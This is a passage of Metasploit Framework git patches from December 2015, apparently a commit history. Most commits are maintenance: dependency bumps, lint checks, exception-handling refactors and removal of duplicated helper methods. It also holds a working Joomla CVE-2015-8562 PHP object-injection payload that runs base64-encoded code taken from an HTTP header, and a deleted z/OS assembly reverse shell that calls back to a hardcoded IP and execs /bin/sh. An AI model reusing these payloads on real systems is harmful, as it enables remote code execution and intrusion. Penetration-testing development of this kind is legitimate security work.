/^generator$/i === element.attributes['name'] && - element.attributes['content'] && - /joomla/i === element.attributes['content'].value - return Exploit::CheckCode::Detected - end - end + return Exploit::CheckCode::Detected if online Exploit::CheckCode::Safe end - # gets a random 4 byte UTF-8 character - def get_terminator - # valid codepoints for 4byte UTF-8 chars: U+010000 - U+10FFFF - [rand(0x10000..0x10ffff)].pack('U*') - end - def get_payload(header_name) pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|" pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;" post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' - t1000 = get_terminator - return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{t1000}" + return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{Rex::Text::rand_4byte_utf8}" end def print_status(msg='') From 9bbf2af86ceef73fb91568f1914c96ce44520a18 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 22 Dec 2015 14:53:21 -0600 Subject: [PATCH 1684/2172] update to metasploit_data_models 1.2.10 (remove 127.0.0.1 filter) --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 3ce22521ae..7efbb4a62a 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -14,7 +14,7 @@ PATH metasploit-credential (= 1.0.1) metasploit-model (= 1.0.0) metasploit-payloads (= 1.0.19) - metasploit_data_models (= 1.2.9) + metasploit_data_models (= 1.2.10) msgpack network_interface (~> 0.0.1) nokogiri @@ -125,7 +125,7 @@ GEM activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) metasploit-payloads (1.0.19) - metasploit_data_models (1.2.9) + metasploit_data_models (1.2.10) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) arel-helpers diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 23402678e7..47fcdf7877 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -63,7 +63,7 @@ Gem::Specification.new do |spec| # Metasploit::Credential database models spec.add_runtime_dependency 'metasploit-credential', '1.0.1' # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '1.2.9' + spec.add_runtime_dependency 'metasploit_data_models', '1.2.10' # Things that would normally be part of the database model, but which # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' From 26fa916cc940f5552edd8d54c160247bb50a5f95 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 22 Dec 2015 13:38:31 -0800 Subject: [PATCH 1685/2172] Update msftidy to error when module super class is incorrect Fixes #6365 --- tools/dev/msftidy.rb | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index 19b95e2053..3e98718cb8 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -65,6 +65,7 @@ class Msftidy def initialize(source_file) @full_filepath = source_file + @module_type = File.dirname(File.expand_path(@full_filepath))[/\/modules\/([^\/]+)/, 1] @source = load_file(source_file) @lines = @source.lines # returns an enumerator @status = OK @@ -471,6 +472,33 @@ class Msftidy end end + def check_bad_super_class + # skip payloads, as they don't have a super class + return if @module_type == 'payloads' + + # get the super class in an ugly way + unless (super_class = @source.scan(/class Metasploit\d\s+<\s+(\S+)/).flatten.first) + error('Unable to determine super class') + return + end + + prefix_super_map = { + 'auxiliary' => /Msf::Auxiliary$/, + 'exploits' => /Msf::Exploit(?:::Local|::Remote)?$/, + 'encoders' => /^(?:Msf|Rex)::Encoder/, + 'nops' => /^Msf::Nop$/, + 'post' => /^Msf::Post$/ + } + + if prefix_super_map.key?(@module_type) + unless super_class =~ prefix_super_map[@module_type] + error("Invalid super class for #{@module_type} module (found '#{super_class}', expected something like #{prefix_super_map[@module_type]}") + end + else + warn("Unexpected and potentially incorrect super class found ('#{super_class}')") + end + end + def check_function_basics functions = @source.scan(/def (\w+)\(*(.+)\)*/) @@ -691,6 +719,7 @@ def run_checks(full_filepath) tidy.check_disclosure_date tidy.check_title_casing tidy.check_bad_terms + tidy.check_bad_super_class tidy.check_function_basics tidy.check_lines tidy.check_snake_case_filename From cc40c61848bc057fa14480114f4aa847f6cf9f15 Mon Sep 17 00:00:00 2001 From: JT Date: Wed, 23 Dec 2015 05:38:57 +0800 Subject: [PATCH 1686/2172] Update joomla_http_header_rce.rb --- modules/exploits/multi/http/joomla_http_header_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index c004bc3493..f32c7e462c 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Gary @ Sec-1 ltd', # initial discovery + 'Gary @ Sec-1 ltd', # discovery 'Marc-Alexandre Montpas', # discovery 'Christian Mehlmauer' # metasploit module ], From 18398afb56aab355b2feaeb1a53ba36900480b46 Mon Sep 17 00:00:00 2001 From: JT Date: Wed, 23 Dec 2015 05:48:26 +0800 Subject: [PATCH 1687/2172] Update joomla_http_header_rce.rb --- modules/exploits/multi/http/joomla_http_header_rce.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index f32c7e462c..51948ab5f8 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -24,7 +24,6 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Gary @ Sec-1 ltd', # discovery 'Marc-Alexandre Montpas', # discovery 'Christian Mehlmauer' # metasploit module ], @@ -32,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ ['CVE', '2015-8562'], - ['EDB', '38977'], # original PoC from Gary + ['EDB', '38977'], # PoC from Gary ['EDB', '39033'], # Exploit modified to use "X-Forwarded-For" header instead of "User-Agent" ['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'], ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'], From a16a10aaf6ef03d7cd3e1d1600170ca98f96ba0a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 22 Dec 2015 16:35:29 -0600 Subject: [PATCH 1688/2172] Fix #6371, being able to report an exception in #job_run_proc Fix #6371 When a browser fails to bind (probably due to an invalid port or server IP), the module actually fails to report this exception from exception, the method calls exploit.handle_exception(e). But since handle_exception is not a valid method for that object, it is unable to do so, and as a result the module fails to properly terminate the module, or show any error on the console. For the user, this will make it look like the module has started, the payload listener is up, but there is no exploit job. Rex::BindFailed actually isn't the only error that could be raised by #job_run_proc. As far as I can tell registering the same resource again could, too. With this patch, the user should be able to see this error too. Since the exploit object does not have access to the methods in Msf::Simple::Exploit, plus there is no other code using handle_exception and setup_fail_detail_from_exception, I decided to move these to lib/msf/core/exploit.rb so they are actually callable. --- lib/msf/base/simple/exploit.rb | 84 ------------------------------- lib/msf/core/exploit.rb | 90 ++++++++++++++++++++++++++++++++++ 2 files changed, 90 insertions(+), 84 deletions(-) diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb index afc2ec23d7..389b336ed8 100644 --- a/lib/msf/base/simple/exploit.rb +++ b/lib/msf/base/simple/exploit.rb @@ -154,90 +154,6 @@ module Exploit nil end - - def setup_fail_detail_from_exception e - # Build a user-friendly error message - msg = "#{e}" - unless e.class == Msf::Exploit::Failed - msg = "#{e.class} #{e}" - end - - self.error = e - - # Record the detailed reason - self.fail_detail ||= e.to_s - msg - end - - # - # Handle the exception - # - def handle_exception e - msg = setup_fail_detail_from_exception e - - case e - when Msf::Exploit::Complete - # Nothing to show in this case - return - - when Msf::Exploit::Failed - self.print_error("Exploit aborted due to failure: #{self.fail_reason}: #{msg}") - - # The caller should have already set self.fail_reason - if self.fail_reason == Msf::Exploit::Failure::None - self.fail_reason = Msf::Exploit::Failure::Unknown - end - - when Rex::ConnectionError - self.fail_reason = Msf::Exploit::Failure::Unreachable - self.print_error("Exploit failed [#{self.fail_reason}]: #{msg}") - elog("Exploit failed (#{self.refname}): #{msg}", 'core', LEV_0) - dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) - - when Timeout::Error - self.fail_reason = Msf::Exploit::Failure::TimeoutExpired - self.print_error("Exploit failed [#{self.fail_reason}]: #{msg}") - elog("Exploit failed (#{self.refname}): #{msg}", 'core', LEV_0) - dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) - else - - # Compare as a string since not all error classes may be loaded - case msg - when /access.denied|Login Failed/i # Covers SMB as well as some generic errors - self.fail_reason = Msf::Exploit::Failure::NoAccess - when /connection reset/i - self.fail_reason = Msf::Exploit::Failure::Disconnected - when /connection timed out|SSL_connect|unreachable|connection was refused/i - self.fail_reason = Msf::Exploit::Failure::Unreachable - when /unable.*target/i - self.fail_reason = Msf::Exploit::Failure::NoTarget - when /execution expired/i - self.fail_reason = Msf::Exploit::Failure::TimeoutExpired - when /(doesn.t|not).*vulnerable|may.*patched/i - self.fail_reason = Msf::Exploit::Failure::NotVulnerable - end - - # The caller should have already set self.fail_reason - if self.fail_reason == Msf::Exploit::Failure::None - self.fail_reason = Msf::Exploit::Failure::Unknown - end - - if self.fail_reason == Msf::Exploit::Failure::Unknown - self.print_error("Exploit failed: #{msg}") - else - self.print_error("Exploit failed [#{self.fail_reason}]: #{msg}") - end - - elog("Exploit failed (#{self.refname}): #{msg}", 'core', LEV_0) - dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) - end - - # Record the error to various places - self.framework.events.on_module_error(self, msg) - - # Report the failure (and attempt) in the database - self.report_failure - end # # Calls the class method. # diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index dd76275a8c..e2d2bbc5d1 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1263,6 +1263,96 @@ class Exploit < Msf::Module raise Msf::Exploit::Failed, (msg || "No failure message given") end + def setup_fail_detail_from_exception e + # Build a user-friendly error message + msg = "#{e}" + unless e.class == Msf::Exploit::Failed + msg = "#{e.class} #{e}" + end + + self.error = e + + # Record the detailed reason + self.fail_detail ||= e.to_s + msg + end + + # + # Handle the exception + # + def handle_exception e + msg = setup_fail_detail_from_exception e + + case e + when Msf::Exploit::Complete + # Nothing to show in this case + return + + when Msf::Exploit::Failed + self.print_error("Exploit aborted due to failure: #{self.fail_reason}: #{msg}") + + # The caller should have already set self.fail_reason + if self.fail_reason == Msf::Exploit::Failure::None + self.fail_reason = Msf::Exploit::Failure::Unknown + end + + when Rex::ConnectionError + self.fail_reason = Msf::Exploit::Failure::Unreachable + self.print_error("Exploit failed [#{self.fail_reason}]: #{msg}") + elog("Exploit failed (#{self.refname}): #{msg}", 'core', LEV_0) + dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) + + when Rex::BindFailed + self.fail_reason = Msf::Exploit::Failure::BadConfig + self.print_error("Exploit failed [#{self.fail_reason}]: #{msg}") + elog("Exploit failed (#{self.refname}): #{msg}", 'core', LEV_0) + dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) + + when Timeout::Error + self.fail_reason = Msf::Exploit::Failure::TimeoutExpired + self.print_error("Exploit failed [#{self.fail_reason}]: #{msg}") + elog("Exploit failed (#{self.refname}): #{msg}", 'core', LEV_0) + dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) + else + + # Compare as a string since not all error classes may be loaded + case msg + when /access.denied|Login Failed/i # Covers SMB as well as some generic errors + self.fail_reason = Msf::Exploit::Failure::NoAccess + when /connection reset/i + self.fail_reason = Msf::Exploit::Failure::Disconnected + when /connection timed out|SSL_connect|unreachable|connection was refused/i + self.fail_reason = Msf::Exploit::Failure::Unreachable + when /unable.*target/i + self.fail_reason = Msf::Exploit::Failure::NoTarget + when /execution expired/i + self.fail_reason = Msf::Exploit::Failure::TimeoutExpired + when /(doesn.t|not).*vulnerable|may.*patched/i + self.fail_reason = Msf::Exploit::Failure::NotVulnerable + end + + # The caller should have already set self.fail_reason + if self.fail_reason == Msf::Exploit::Failure::None + self.fail_reason = Msf::Exploit::Failure::Unknown + end + + if self.fail_reason == Msf::Exploit::Failure::Unknown + self.print_error("Exploit failed: #{msg}") + else + self.print_error("Exploit failed [#{self.fail_reason}]: #{msg}") + end + + elog("Exploit failed (#{self.refname}): #{msg}", 'core', LEV_0) + dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) + end + + # Record the error to various places + self.framework.events.on_module_error(self, msg) + + # Report the failure (and attempt) in the database + self.report_failure + end + def report_failure return unless framework.db and framework.db.active From 6b0ae754bd05ff7feca104b0414e30217fdb93d6 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 23 Dec 2015 08:33:47 -0800 Subject: [PATCH 1689/2172] Anchor all regexen --- tools/dev/msftidy.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index 3e98718cb8..73d9aee2a3 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -483,8 +483,8 @@ class Msftidy end prefix_super_map = { - 'auxiliary' => /Msf::Auxiliary$/, - 'exploits' => /Msf::Exploit(?:::Local|::Remote)?$/, + 'auxiliary' => /^Msf::Auxiliary$/, + 'exploits' => /^Msf::Exploit(?:::Local|::Remote)?$/, 'encoders' => /^(?:Msf|Rex)::Encoder/, 'nops' => /^Msf::Nop$/, 'post' => /^Msf::Post$/ From 493700be3a3cf26947dd9c8af6ab52a1a7b2209b Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Wed, 23 Dec 2015 10:39:35 -0600 Subject: [PATCH 1690/2172] remove duplicate key warning from Ruby 2.2.x This gets rid of the warning: modules/exploits/multi/http/uptime_file_upload_2.rb:283: warning: duplicated key at line 284 ignored: "newuser" --- modules/exploits/multi/http/uptime_file_upload_2.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/multi/http/uptime_file_upload_2.rb b/modules/exploits/multi/http/uptime_file_upload_2.rb index f0c0b40805..71fe60d2a0 100644 --- a/modules/exploits/multi/http/uptime_file_upload_2.rb +++ b/modules/exploits/multi/http/uptime_file_upload_2.rb @@ -280,7 +280,6 @@ class Metasploit4 < Msf::Exploit::Remote 'isonvacation' => '0', 'receivealerts' => '0', 'activexgraphs' => '0', - 'newuser' => 'on', 'newuser' => '1', 'userroleid' => '1', 'usergroupid[]' => '1' From 5a19caf10a403e24543079b134fc2f02c3ea07c4 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Wed, 23 Dec 2015 11:42:09 -0600 Subject: [PATCH 1691/2172] remove temp file --- external/source/shellcode/mainframe/temp.s | 174 --------------------- 1 file changed, 174 deletions(-) delete mode 100644 external/source/shellcode/mainframe/temp.s diff --git a/external/source/shellcode/mainframe/temp.s b/external/source/shellcode/mainframe/temp.s deleted file mode 100644 index 1d16c332af..0000000000 --- a/external/source/shellcode/mainframe/temp.s +++ /dev/null @@ -1,174 +0,0 @@ - TITLE 'z/os Reverse Shell' -NEWREV CSECT -NEWREV AMODE 31 -NEWREV RMODE 31 -*********************************************************************** -* SETUP registers and save areas * -*********************************************************************** -MAIN LR 7,15 # R7 is base register - NILH 7,X'1FFF' # ensure local address - USING MAIN,0 # R8 for addressability - DS 0H # halfword boundaries - LA 1,ZEROES(7) # address byond which should be all 0s - XC 0(204,1),0(1) # clear zero area - LA 13,SAVEAREA(7) # address of save area - LHI 8,8 # R8 has static 8 - LHI 9,1 # R9 has static 1 - LHI 10,2 # R10 has static 2 - -*********************************************************************** -* BPX1SOC set up socket * -*********************************************************************** -BSOC LA 0,@@F1(7) # USS callable svcs socket - LA 3,8 # n parms - LA 5,DOM(7) # Relative addr of First parm - ST 10,DOM(7) # store a 2 for AF_INET - ST 9,TYPE(7) # store a 1 for sock_stream - ST 9,DIM(7) # store a 1 for dim_sock - LA 15,CLORUN(7) # address of generic load & run - BASR 14,15 # Branch to load & run - -*********************************************************************** -* BPX1CON (connect) connect to rmt host * -*********************************************************************** -BCON L 5,CLIFD(7) # address of client file descriptor - ST 5,CLIFD2(7) # store for connection call -*** main processing ** - LA 1,SSTR(7) # packed socket string - LA 5,CLIFD2(7) # dest for our sock str - MVC 7(9,5),0(1) # mv packed skt str to parm array - LA 0,@@F2(7) # USS callable svcs connect - LA 3,6 # n parms for func call - LA 5,CLIFD2(7) # src parm list addr - LA 15,CLORUN(7) # address of generic load & run - BASR 14,15 # Branch to load & run - -************************************************* -* Preparte the child pid we'll spawn * -* 0) Dupe all 3 file desc of CLIFD * -* 1) dupe parent read fd to std input * -************************************************* - LHI 11,2 # Loop Counter R11=2 -@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err) -@RET1 AHI 11,-1 # Decrement R11 - CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop - -*********************************************************************** -* BPX1EXC (exec) execute /bin/sh * -*********************************************************************** -LEXEC LA 1,EXCPRM1(7) # top of arg list -****************************************** -**** load array of addr and constants *** -****************************************** - ST 10,EXARG1L(7) # arg 1 len is 2 - LA 2,EXARG1L(7) # addr of len of arg1 - ST 2,16(0,1) # arg4 Addr of Arg Len Addrs - LA 2,EXARG1(7) # addr of arg1 - ST 2,20(0,1) # arg5 Addr of Arg Addrs - ST 9,EXARGC(7) # store 1 in ARG Count -************************************************************** -*** call the exec function the normal way ******************** -************************************************************** - LA 0,@@EX1(7) # USS callable svcs EXEC - LA 3,13 # n parms - LA 5,EXCPRM1(7) # src parm list addr - LA 15,CLORUN(7) # address of generic load & run - BASR 14,15 # Branch to load & run - -*********************************************************************** -*** BPX1FCT (fnctl) Edit our file descriptor ************************** -*********************************************************************** -LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL - ST 8,@ACT(7) # 8 is our dupe2 action - L 5,CLIFD(7) # client file descriptor - ST 5,@FFD(7) # store as fnctl argument - ST 11,@ARG(7) # fd to clone - LA 3,6 # n parms - LA 5,@FFD(7) # src parm list addr - LA 15,CLORUN(7) # address of generic load & run - BASR 14,15 # Branch to load & run - BRC 15,@RET1 # Return to caller - -*********************************************************************** -* LOAD and run R0=func name, R3=n parms * -* R5 = src parm list * -*********************************************************************** -CLORUN ST 14,8(,13) # store ret address - XR 1,1 # zero R1 - SVC 8 # get func call addr for R0 - ST 0,12(13) # Store returned addr in our SA - L 15,12(13) # Load func addr into R15 - LHI 6,20 # offset from SA of first parm - LA 1,0(6,13) # start of dest parm list -@LOOP2 ST 5,0(6,13) # store parms address in parm - AHI 3,-1 # decrement # parm - CIJ 3,11,8,@FIX # haky fix for EXEC func -@RETX AHI 6,4 # increment dest parm addr - AHI 5,4 # increment src parm addr - CIJ 3,0,7,@LOOP2 # loop until R3 = 0 - LA 5,0(6,13) - AHI 5,-4 - OI 0(5),X'80' # last parm first bit high -@FIN1 BALR 14,15 # call function - L 14,8(,13) # set up return address - BCR 15,14 # return to caller -@FIX AHI 5,4 # need extra byte skipped for exec - BRC 15,@RETX - -*********************************************************************** -* Arg Arrays, Constants and Save Area * -*********************************************************************** - DS 0F -************************* -**** Func Names **** -************************* -@@F1 DC CL8'BPX1SOC ' -@@F2 DC CL8'BPX1CON ' -@@EX1 DC CL8'BPX1EXC ' # callable svcs name -@@FC1 DC CL8'BPX1FCT ' -* # BPX1EXC Constants -EXARG1 DC CL2'sh' # arg 1 to exec -* # BPX1CON Constants -SSTR DC X'1002023039ac103d0a' -* # BPX1EXC Arguments -EXCPRM1 DS 0F # actual parm list of exec call -EXCMDL DC F'7' # len of cmd to exec -EXCMD DC CL7'/bin/sh' # command to exec -********************************************************************* -******* Below this line is filled in runtime, but at compile ******** -******* is all zeroes, so it can be dropped from the shell- ********* -******* code as it will be dynamically added back and the *********** -******* offsets are already calulated in the code ******************* -********************************************************************* -ZEROES DS 0F # 51 4 byte slots -EXARGC DC F'0' # num of arguments -EXARGS DC 10XL4'00000000' # reminaing exec args -EXARG1L DC F'0' # arg1 length -* # BPX1FCT Arguments -@FFD DC F'0' # file descriptor -@ACT DC F'0' # fnctl action -@ARG DC F'0' # argument to fnctl -@RETFD DC F'0' # fd return -FR1 DC F'0' # rtn code -FR2 DC F'0' # rsn code -* # BPX1SOC Arguments -DOM DC F'0' # AF_INET = 2 -TYPE DC F'0' # sock stream = 1 -PROTO DC F'0' # protocol ip = 0 -DIM DC F'0' # dim_sock = 1 -CLIFD DC F'0' # client file descriptor -SR1 DC F'0' # rtn val -SR2 DC F'0' # rtn code -SR3 DC F'0' # rsn code -* # BPX1CON Arguments -CLIFD2 DC F'0' # CLIFD -SOCKLEN DC F'0' # length of Sock Struct -SRVSKT DC XL2'0000' # srv socket struct - DC XL2'0000' # port - DC XL4'00000000' # RHOST 0.0.0.0 -CR1 DC F'0' # rtn val -CR2 DC F'0' # rtn code -CR3 DC F'0' # rsn code -SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt -EOFMARK DC X'deadbeef' # eopgm marker for shellcode - END MAIN From cea3bc27b9110b1fc9bdcf875825e0cd80ff35fc Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 23 Dec 2015 11:44:55 -0600 Subject: [PATCH 1692/2172] Fix #6362, avoid overriding def peer repeatedly def peer is a method that gets repeated a lot in modules, so we should have it in the tcp mixin. This commit also clears a few modules that use the HttpClient mixin with def peer. --- lib/msf/core/auxiliary/redis.rb | 4 ---- lib/msf/core/exploit/java/rmi/client.rb | 6 ------ lib/msf/core/exploit/tcp.rb | 5 +++++ modules/auxiliary/admin/atg/atg_client.rb | 4 ---- modules/auxiliary/admin/misc/sercomm_dump_config.rb | 3 --- modules/auxiliary/admin/smb/delete_file.rb | 4 ---- modules/auxiliary/admin/smb/download_file.rb | 4 ---- modules/auxiliary/admin/smb/upload_file.rb | 4 ---- modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb | 4 ---- modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb | 4 ---- modules/auxiliary/scanner/elasticsearch/indices_enum.rb | 4 ---- modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb | 4 ---- modules/auxiliary/scanner/rdp/ms12_020_check.rb | 3 --- modules/auxiliary/scanner/rsync/modules_list.rb | 4 ---- modules/auxiliary/scanner/ssh/ssh_version.rb | 4 ---- modules/auxiliary/scanner/ssl/openssl_ccs.rb | 4 ---- modules/auxiliary/scanner/ssl/openssl_heartbleed.rb | 4 ---- modules/exploits/linux/http/nginx_chunked_size.rb | 5 +---- modules/exploits/linux/misc/jenkins_java_deserialize.rb | 4 ---- .../exploits/multi/misc/hp_data_protector_exec_integutil.rb | 4 ---- modules/exploits/multi/misc/java_jdwp_debugger.rb | 4 ---- modules/exploits/multi/misc/java_rmi_server.rb | 4 ---- modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb | 3 --- modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb | 3 --- modules/exploits/windows/misc/hp_dataprotector_traversal.rb | 4 ---- .../misc/solidworks_workgroup_pdmwservice_file_write.rb | 4 ---- 26 files changed, 6 insertions(+), 98 deletions(-) diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index 58412d3330..20714c8eb3 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -31,10 +31,6 @@ module Msf ) end - def peer - "#{rhost}:#{rport}" - end - def read_timeout datastore['READ_TIMEOUT'] end diff --git a/lib/msf/core/exploit/java/rmi/client.rb b/lib/msf/core/exploit/java/rmi/client.rb index 11e6876253..7f8a04560d 100644 --- a/lib/msf/core/exploit/java/rmi/client.rb +++ b/lib/msf/core/exploit/java/rmi/client.rb @@ -51,12 +51,6 @@ module Msf datastore['RPORT'] end - # Returns the RMI server peer - # - # @return [String] - def peer - "#{rhost}:#{rport}" - end # Sends a RMI header stream # diff --git a/lib/msf/core/exploit/tcp.rb b/lib/msf/core/exploit/tcp.rb index 13c0a7f6ac..f4a6daef6c 100644 --- a/lib/msf/core/exploit/tcp.rb +++ b/lib/msf/core/exploit/tcp.rb @@ -82,6 +82,11 @@ module Exploit::Remote::Tcp ) end + # Returns the rhost:rport + def peer + "#{rhost}:#{rport}" + end + # # Establishes a TCP connection to the specified RHOST/RPORT # diff --git a/modules/auxiliary/admin/atg/atg_client.rb b/modules/auxiliary/admin/atg/atg_client.rb index 9962d57c5b..5560f2f76d 100644 --- a/modules/auxiliary/admin/atg/atg_client.rb +++ b/modules/auxiliary/admin/atg/atg_client.rb @@ -190,10 +190,6 @@ class Metasploit3 < Msf::Auxiliary response end - def peer - "#{rhost}:#{rport}" - end - def protocol datastore['PROTOCOL'] end diff --git a/modules/auxiliary/admin/misc/sercomm_dump_config.rb b/modules/auxiliary/admin/misc/sercomm_dump_config.rb index 84979820e9..0ef51aa38a 100644 --- a/modules/auxiliary/admin/misc/sercomm_dump_config.rb +++ b/modules/auxiliary/admin/misc/sercomm_dump_config.rb @@ -134,9 +134,6 @@ class Metasploit3 < Msf::Auxiliary return nil end - def peer - return "#{rhost}:#{rport}" - end def fingerprint_endian begin diff --git a/modules/auxiliary/admin/smb/delete_file.rb b/modules/auxiliary/admin/smb/delete_file.rb index 2a17e475ae..417aea54d2 100644 --- a/modules/auxiliary/admin/smb/delete_file.rb +++ b/modules/auxiliary/admin/smb/delete_file.rb @@ -40,10 +40,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - "#{rhost}:#{rport}" - end - def smb_delete_files vprint_status("#{peer}: Connecting to the server...") connect() diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb index 5aca3e917b..d6aa05a4b6 100644 --- a/modules/auxiliary/admin/smb/download_file.rb +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -40,10 +40,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - "#{rhost}:#{rport}" - end - def smb_download vprint_status("#{peer}: Connecting...") connect() diff --git a/modules/auxiliary/admin/smb/upload_file.rb b/modules/auxiliary/admin/smb/upload_file.rb index 523bbddfa1..b52f54f8a1 100644 --- a/modules/auxiliary/admin/smb/upload_file.rb +++ b/modules/auxiliary/admin/smb/upload_file.rb @@ -47,10 +47,6 @@ class Metasploit3 < Msf::Auxiliary end - def peer - "#{rhost}:#{rport}" - end - def run_host(_ip) begin vprint_status("#{peer}: Connecting to the server...") diff --git a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb index f434560054..c6f8a24995 100644 --- a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb +++ b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb @@ -116,10 +116,6 @@ class Metasploit3 < Msf::Auxiliary end - def peer - "#{rhost}:#{rport}" - end - def dos_user length = 12000 # enough to overflow the end of allocated memory msg = create_message(length) diff --git a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb index 5c56b1553f..405e6e1851 100644 --- a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb +++ b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb @@ -42,10 +42,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - "#{rhost}:#{rport}" - end - def get_response(size = 72) connect response = sock.get_once(size) diff --git a/modules/auxiliary/scanner/elasticsearch/indices_enum.rb b/modules/auxiliary/scanner/elasticsearch/indices_enum.rb index 7624c9f7d9..1dca83d949 100644 --- a/modules/auxiliary/scanner/elasticsearch/indices_enum.rb +++ b/modules/auxiliary/scanner/elasticsearch/indices_enum.rb @@ -31,10 +31,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - "#{rhost}:#{rport}" - end - def run_host(ip) vprint_status("#{peer} - Querying indices...") begin diff --git a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb index 6811cbedd5..6644b0b7d4 100644 --- a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb @@ -36,10 +36,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - "#{rhost}:#{rport}" - end - def extract_words(wordfile) return [] unless wordfile && File.readable?(wordfile) begin diff --git a/modules/auxiliary/scanner/rdp/ms12_020_check.rb b/modules/auxiliary/scanner/rdp/ms12_020_check.rb index 716f2622db..d9fca848d7 100644 --- a/modules/auxiliary/scanner/rdp/ms12_020_check.rb +++ b/modules/auxiliary/scanner/rdp/ms12_020_check.rb @@ -124,9 +124,6 @@ class Metasploit3 < Msf::Auxiliary "\x02\xf0\x80\x38" 